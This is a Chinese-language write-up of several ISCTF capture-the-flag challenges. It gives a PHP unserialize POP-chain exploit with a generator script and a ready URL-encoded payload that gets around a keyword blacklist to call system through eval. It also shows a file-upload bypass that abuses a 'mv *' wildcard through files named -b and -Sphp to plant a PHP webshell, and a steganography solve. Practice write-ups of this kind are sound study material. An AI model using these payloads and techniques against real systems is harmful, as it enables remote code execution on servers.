单身的小蓝鲨自己构造了很多很多对象,但是他忘记了构造对象时还需要考虑类的问题

<?php
  error_reporting(0);

class begin {
  public $var1;
  public $var2;

  function __construct($a)
  {
    $this->var1 = $a;
  }
  function __destruct() {
    echo $this->var1;
  }

  public function __toString() {
    $newFunc = $this->var2;
    return $newFunc();
  }
}


class starlord {
  public $var4;
  public $var5;
  public $arg1;

  public function __call($arg1, $arg2) {
    $function = $this->var4;
    return $function();
  }

  public function __get($arg1) {
    $this->var5->ll2('b2');
  }
}

class anna {
  public $var6;
  public $var7;

  public function __toString() {
    $long = @$this->var6->add();
    return $long;
  }

  public function __set($arg1, $arg2) {
    if ($this->var7->tt2) {
      echo "yamada yamada";
    }
  }
}

class eenndd {
  public $command;

  public function __get($arg1) {
    if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
      echo "nonono";
    }else {
      eval($this->command);
    }
  }
}

class flaag {
  public $var10;
  public $var11="1145141919810";

  public function __invoke() {
    if (md5(md5($this->var11)) == 666) {
      return $this->var10->hey;
    }
  }
}


if (isset($_POST['ISCTF'])) {
  unserialize($_POST["ISCTF"]);
}else {
  highlight_file(__FILE__);
}

还是反序列化

分析代码

反序列化入口unserialize($_POST["ISCTF"])构造一个对象链,最终触发 eenndd类中的 eval($this->command) 来执行命令


begin

  • __destruct()对象销毁时触发,导致它会执行echo $this->var1,如果$var1是对象,会触发该对象的__toString()

anna

  • __toString()当对象被当作字符串输出时触发,它执行 $this->var6->add(),如果$var6是对象且没有add方法,会触发__call()

starlord

  • __call()调用不可访问的方法时触发,它执行 $function = $this->var4;``return $function();这会将$var4当作函数调用,如果$var4是对象,会触发__invoke()

flaag

  • __invoke()当对象被当作函数调用时触发,它先进行 MD5 弱比较判断md5(md5($this->var11)) == 666,通过后访问$this->var10->hey,访问不存在的属性hey会触发__get()

eenndd

  • __get()访问不可访问属性时触发,它会检查$this->command是否包含黑名单关键词,如果没有则执行eval($this->command)

我们的目标是eenndd::__get()

 

触发__get需要访问eenndd的不存在属性,flaag::__invoke()中访问了$this->var10->hey所以让 flaag->var10eenndd对象。

 

触发__invoke需要将对象当函数调用,tarlord::__call()中执行了$this->var4()所以让starlord->var4flaag对象。

 

触发__call需要调用不存在的方法,anna::__toString()中调用了$this->var6->add()starlord 没有 add 方法。所以让anna->var6starlord对象

 

触发__toString需要echo一个对象,begin::__destruct()中执行了echo $this->var1所以让 begin->var1anna对象


**flaag**类的md5弱比较

if (md5(md5($this->var11)) == 666)

我们需要找到一个字符串$var11,使得它的两次md5哈希值以 666 开头

经过计算数字213符合条件

md5(213) -> 979d472a84804b9f647bc185a877a8b5

md5('979d472a84804b9f647bc185a877a8b5') -> 666ca9a2be31fd949cb9b55686caef9a

PHP 中 "666ca9..." == 666 成立。

**eenndd**类的正则黑名单

/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i

可以使用字符串拼接来绕过黑名单,还可以使用空格绕过,也就是使用chr(32)代表空格

我们需要执行的命令为system('cat /flag')

$a = "sys"."tem";
$b = "ca"."t";
$c = "/fl"."ag";
$a($b . chr(32) . $c);

合并成一行赋值给$command

$a="sys"."tem";$b="ca"."t";$c="/fl"."ag";$a($b.chr(32).$c);

这样就完全绕过了

<?php
class begin {
    public $var1;
    public $var2;
}

class starlord {
    public $var4;
    public $var5;
}

class anna {
    public $var6;
    public $var7;
}

class eenndd {
    public $command;
}

class flaag {
    public $var10;
    public $var11;
}

$e = new eenndd();
$e->command = '$a="sys"."tem";$b="ca"."t";$c="/fl"."ag";$a($b.chr(32).$c);';

$f = new flaag();
$f->var10 = $e;
$f->var11 = "213"; 

$s = new starlord();
$s->var4 = $f;

$a = new anna();
$a->var6 = $s;

$b = new begin();
$b->var1 = $a;

echo urlencode(serialize($b));
?>

在wsl或者可以执行php代码的环境当中运行一下得到Payload

O%3A5%3A%22begin%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A4%3A%22anna%22%3A2%3A%7Bs%3A4%3A%22var6%22%3BO%3A8%3A%22starlord%22%3A2%3A%7Bs%3A4%3A%22var4%22%3BO%3A5%3A%22flaag%22%3A2%3A%7Bs%3A5%3A%22var10%22%3BO%3A6%3A%22eenndd%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A59%3A%22%24a%3D%22sys%22.%22tem%22%3B%24b%3D%22ca%22.%22t%22%3B%24c%3D%22%2Ffl%22.%22ag%22%3B%24a%28%24b.chr%2832%29.%24c%29%3B%22%3B%7Ds%3A5%3A%22var11%22%3Bs%3A3%3A%22213%22%3B%7Ds%3A4%3A%22var5%22%3BN%3B%7Ds%3A4%3A%22var7%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BN%3B%7D

然后题目需要通过POST方式来执行,在题目环境当中打开Hackbar

POST请求一栏填入Payload并执行,拿到flag

ISCTF=O%3A5%3A%22begin%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A4%3A%22anna%22%3A2%3A%7Bs%3A4%3A%22var6%22%3BO%3A8%3A%22starlord%22%3A2%3A%7Bs%3A4%3A%22var4%22%3BO%3A5%3A%22flaag%22%3A2%3A%7Bs%3A5%3A%22var10%22%3BO%3A6%3A%22eenndd%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A59%3A%22%24a%3D%22sys%22.%22tem%22%3B%24b%3D%22ca%22.%22t%22%3B%24c%3D%22%2Ffl%22.%22ag%22%3B%24a%28%24b.chr%2832%29.%24c%29%3B%22%3B%7Ds%3A5%3A%22var11%22%3Bs%3A3%3A%22213%22%3B%7Ds%3A4%3A%22var5%22%3BN%3B%7Ds%3A4%3A%22var7%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BN%3B%7D


 

mv_upload

出题人:BR

 

院校:西安理工大学

 

难度:中等

 

诶哟我艹这个小蓝鲨怎么这么坏啊,连木马都不让我传

题目提示说有备份文件,发现了index.php~这个备份文件,里面就是题目源代码

<?php
$uploadDir = '/tmp/upload/'; // 临时目录
$targetDir = '/var/www/html/upload/'; // 存储目录

$blacklist = [
    'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax",  "swf","ini"
];

$message = '';
$filesInTmp = [];

// 创建目标目录
if (!is_dir($targetDir)) {
    mkdir($targetDir, 0755, true);
}

if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0755, true);
}

// 上传临时目录
if (isset($_POST['upload']) && !empty($_FILES['files']['name'][0])) {
    $uploadedFiles = $_FILES['files'];
    foreach ($uploadedFiles['name'] as $index => $filename) {
        if ($uploadedFiles['error'][$index] !== UPLOAD_ERR_OK) {
            $message .= "文件 {$filename} 上传失败。<br>";
            continue;
        }

        $tmpName = $uploadedFiles['tmp_name'][$index];

        $filename = trim(basename($filename));
        if ($filename === '') {
            $message .= "文件名无效,跳过。<br>";
            continue;
        }

        $fileParts = pathinfo($filename);
        $extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';

        $extension = trim($extension, '.');

        if (in_array($extension, $blacklist)) {
            $message .= "文件 {$filename} 因类型不安全(.{$extension})被拒绝。<br>";
            continue;
        }

        $destination = $uploadDir . $filename;

        if (move_uploaded_file($tmpName, $destination)) {
            $message .= "文件 {$filename} 已上传至 $uploadDir$filename 。<br>";
        } else {
            $message .= "文件 {$filename} 移动失败。<br>";
        }
    }
}

// 获取临时目录中的所有文件
if (is_dir($uploadDir)) {
    $handle = opendir($uploadDir);
    if ($handle) {
        while (($file = readdir($handle)) !== false) {
            if (is_file($uploadDir . $file)) {
                $filesInTmp[] = $file;
            }
        }
        closedir($handle);
    }
}

// 处理确认上传完毕(移动文件)
if (isset($_POST['confirm_move'])) {
    if (empty($filesInTmp)) {
        $message .= "没有可移动的文件。<br>";
    } else {
        $output = [];
        $returnCode = 0;
        exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
        if ($returnCode === 0) {
            foreach ($filesInTmp as $file) {
                $message .= "已移动文件: {$file} 至$targetDir$file<br>";
            }
        } else {
            $message .= "移动文件失败: " .implode(', ', $output)."<br>";
        }
    }
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>多文件上传服务</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        .container { max-width: 800px; margin: auto; }
        .alert { padding: 10px; margin: 10px 0; background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
        .success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
        ul { list-style-type: none; padding: 0; }
        li { margin: 5px 0; padding: 5px; background: #f0f0f0; }
    </style>
</head>
<body>
<div class="container">
    <h2>多文件上传服务</h2>

    <?php if ($message): ?>
        <div class="alert <?= strpos($message, '失败') ? '' : 'success' ?>">
            <?= $message ?>
        </div>
    <?php endif; ?>

    <form method="POST" enctype="multipart/form-data">
        <label for="files">选择文件:</label><br>
        <input type="file" name="files[]" id="files" multiple required>
        <button type="submit" name="upload">上传到临时目录</button>
    </form>

    <hr>

    <h3>待确认上传文件</h3>
    <?php if (empty($filesInTmp)): ?>
        <p>暂无待确认上传文件</p>
    <?php else: ?>
        <ul>
            <?php foreach ($filesInTmp as $file): ?>
                <li><?= htmlspecialchars($file) ?></li>
            <?php endforeach; ?>
        </ul>
        <form method="POST">
            <button type="submit" name="confirm_move">确认上传完毕,移动到存储目录</button>
        </form>
    <?php endif; ?>
</div>
</body>
</html>

黑名单把可以执行命令的文件全都过滤了,.htaccess``.ini之类的配置文件也不行

但是mv后面跟了*这很危险,会把所有文件全都移动过去

这里的*是通配符,在Linux Shell 中,*会被展开为当前目录下的所有文件名,如果文件名以-开头,mv命令会将其解析为参数

刚好mv当中还有一条命令--backup是用来备份的,在他后面再跟上-S就可以将一个原本合法的非 PHP 文件在移动过程中被“自愿”重命名为.php文件


第一步要先上传一个包含一句话的php文件,但是在上传时需要用burpsuite改包,将上传文件名修改为shell.


然后用没有被抓包的浏览器访问题目地址刷新一下点击移动到存储目录

第二步就继续改包,要同时传三个文件,第一个文件要和shell.文件名一模一样,剩下两个就只需要空白文件内容,但是文件名依次为-b``-Sphp


继续返回正常浏览器刷新点击移动到存储目录


此时会提示移动失败,不用担心,我们已经操作成功了,现在访问/upload/shell.php就可以执行命令了


然后直接cat /flag拿到flag

MISC

湖心亭看雪

出题人:f1@g

 

院校:信阳师范大学

 

难度:简单

 

张岱在“雪”景中有感而发

下载附件之后得到一个python文件和一张jpg图片,如图

a = b'*********' #这个东西你以后要用到
b = b'blueshark' 
c = bytes([x ^ y for x, y in zip(a, b)])
print(c.hex())
#c = 53591611155a51405e

分析代码发现它是对一个未知字节串a和一个字节串b进行异或运算,并将结果c十六进制形式输出

可以逆运算

# 已知c的十六进制表示
c_hex = "53591611155a51405e"
# 已知b的字节串
b_bytes = b'blueshark'

# 将c从十六进制字符串转换为字节串
c_bytes = bytes.fromhex(c_hex)

# 执行异或运算以还原a
a_bytes = bytes([x ^ y for x, y in zip(c_bytes, b_bytes)])

# 输出结果
print(f"密钥a为: {a_bytes}")

运行之后得到b'15ctf2025',也就是说密钥为15ctf2025


接下来对这个图片进行入手

binwalk分析之后发现在末尾有一串zip数据,但是直接分离会失败,文件结构有问题

使用hexdump来检测一下

hexdump -C 湖心亭.jpg | grep "ff d9"

输出

0005d350  50 03 ff d9 14 00 09 00  63 00 49 9a 67 5b 2c 1a

在偏移量0x5D350处发现了ff d9,这是JPEG图片数据的结束的标志

标准zip文件的头部签名应为50 4B 03 04对比发现,原本应为4B 03 04的位置被篡改为了03 ff d9

手动分离一下数据

dd if=湖心亭.jpg bs=1 skip=381776 of=hidden.zip

再将hidden.zip的数据修复一下

printf '\x50\x4B\x03\x04' | dd of=hidden.zip bs=1 conv=notrunc

现在可以正常解压hidden.zip解压出来一个flag.txt内容如下

崇祯五年十二月,余在西湖。大雪三日,湖中人鸟声俱绝。是日更定矣,余挐一小船,拥毳衣炉火,独往湖心亭看雪。雾凇沆砀,天与云与山与水,上下一白。湖上影子,惟长堤一痕,湖心亭一点,与余舟一芥,舟中人两三粒而已。
  到亭上,有两人铺毡对坐,一童子烧酒炉正沸。见余,大喜曰:“湖中焉得更有此人!”拉余同饮。余强饮三大白而别,问其姓氏,是金陵人,客此。及下船,舟子喃喃曰:“莫说相公痴,更有痴似相公者!”
	       	 	     	       	  	   	      		     
       	 	 	     	    	    	      	  	      	    
  		   	      	 	    	     	     	  
	 	  	     	     	      	       	     		       
      	  	    		 	       	      	    	 	    
  	  	     	     	       	      	       	   		      
  	    	    		      	 		 	      
	    	 	    	    	     	    	   	      	      
   	  	      	   	  	   	     	  	  	      
 	       	 	       	     	 	     	     	  	      
      	      	       	      		     	      	  

乍眼一看什么有用的信息都没告诉我们,但是在文字末尾有很多不可见的字符

经过多番思考,仔细阅读题目在“雪”景中,和“雪”有什么关联,最后发现有一种名为SNOW的隐写工具,下载下来之后执行命令

.\SNOW.EXE -C -p "15ctf2025" flag.txt

最后得到了flag

ISCTF{y0U_H4v3_kN0wn_Wh4t_15_Sn0w!!!}

 

允许自己做自己 允许一切如其所是 主方向:web安全
最后更新于 2025-12-29